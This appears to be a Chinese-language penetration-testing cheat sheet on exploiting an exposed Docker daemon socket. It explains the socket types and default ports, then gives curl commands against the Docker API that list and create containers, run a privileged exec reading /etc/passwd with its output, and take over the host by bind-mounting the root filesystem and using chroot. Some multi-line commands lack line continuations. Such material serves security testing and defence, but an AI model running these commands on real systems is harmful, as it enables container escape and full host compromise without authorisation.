暴露的Docker Socket

Docker守护进程可以通过三种不同类型的套接字监听Docker引擎API请求:

  • unix

  • tcp

  • fd

默认情况下,Docker通过非网络UNIX套接字运行,该套接字创建在/var/run/docker.sock,需要root权限或docker组成员资格。

此外,请注意其他高级运行时的运行时套接字:

  • dockershim: unix:///var/run/dockershim.sock

  • containerd: unix:///run/containerd/containerd.sock

  • cri-o: unix:///var/run/crio/crio.sock

  • frakti: unix:///var/run/frakti.sock

  • rktlet: unix:///var/run/rktlet.sock

  • ...

tcp套接字用于远程访问Docker守护进程,默认设置提供未加密和未认证的直接访问。通常使用端口2375进行未加密通信,使用端口2376进行与守护进程的加密通信。

在基于Systemd的系统上,与Docker守护进程的通信可以通过Systemd套接字fd://进行。

有时Docker守护进程可以在容器内部或通过网络访问。这通常导致在主机系统上执行命令和从容器逃逸。

列出所有容器

使用curl命令通过unix套接字列出主机上的所有容器。

$ curl -s --unix-socket /var/run/docker.sock http:/containers/json

使用curl命令通过tcp套接字列出主机上的所有容器。

$ curl -s http://<host>:<port>/containers/json

创建容器

使用curl命令通过unix套接字创建容器。

$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    --unix-socket /var/run/docker.sock \
    "http:/containers/create?name=${CONTAINER_NAME}" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'

使用curl命令通过tcp套接字创建容器。

$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    "http://<host>:<port>/containers/create?name=${CONTAINER_NAME}" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'

启动容器

$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    "http://<host>:<port>/containers/${CONTAINER_NAME}/start" \
    -X POST \
    -H "Content-Type: application/json" 

在容器中执行代码

首先需要创建一个将在容器中运行的exec实例。

$ curl \
    -s \
    "http://<host>:<port>/containers/<container_id>/exec" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'

HTTP/1.1 201 Created
...

{"Id":"913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3"}

现在exec已经创建,您需要运行它。

$ export EXEC_ID=913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3
$ curl \
    -s \
    "http://<host>:<port>/exec/${EXEC_ID}/start"
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"Detach": false,"Tty": false}' \

HTTP/1.1 200 OK
...

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

主机接管

要在主机系统上执行命令,启动Docker容器并将主机根目录挂载到容器卷上。

  1. 下载ubuntu镜像。

    $ curl \
        -s \
        "http://<host>:<port>/images/create?fromImage=ubuntu&tag=latest" \
        -X POST \
        -H 'Content-Type: application/json'
  2. 创建容器。

    $ curl \
        -s \
        "http://<host>:<port>/containers/create"
        -X POST \
        -H "Content-Type: application/json" \
        -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostfs/": {}},"HostConfig": {"Binds": ["/:/hostfs"]}}'
  3. 启动容器。

  4. 为了在主机系统上执行命令,更改根目录。

    $ chroot /hostfs

参考资料

最后更新于